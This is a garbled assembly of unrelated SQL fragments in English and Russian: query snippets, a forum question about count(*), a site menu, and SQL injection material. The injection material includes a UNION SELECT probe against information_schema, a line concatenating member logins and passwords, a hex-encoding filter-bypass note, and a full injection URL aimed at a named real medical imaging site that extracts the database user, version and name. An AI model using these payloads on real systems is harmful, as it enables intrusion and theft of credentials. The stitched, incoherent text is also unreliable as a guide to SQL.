(M): SELECT CONCAT(login, password) FROM members. 7. Строки без кавычек Есть несколько
select count(distinct col1) + count(distinct case when col1 is null then 1 end) from YourTable.
http://www.indianamri.com/index.php?page=Indiana_MRI_Bloomington_-_MRI_Services_for_Bloomington_and_Southern_Indiana_Magnetic_Resonance_Imaging&menu_id=1'+limit+0+UNION+SELECT+1,concat_ws(0x3a,user(),version(),database())+
I mean, use select count('quoted string') instead select count(*), and the reason was that count(*) goes through all the columns and degrades the performance, other people told me that there is no difference
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
Select Category Uncategorized Joomla Company Latest Updates Humour Other Blog Joomla Hints
Replaces each (MySQL) 0x encoded string with equivalent CONCAT(CHAR(),…) counterpart.
#SQL Server SELECT login + '-' + password FROM members #MySQL SELECT CONCAT(login, password) FROM members. В MySQL для обхода сложных паттернов можно представлять строки в шеснадцатиричном виде, с помощью функции HEX() или вводить их посимвольно
Основное использование команды SELECT является просмотр строк из таблицы.
select 1 from dual where dummy = null; -- запрос не вернёт записей.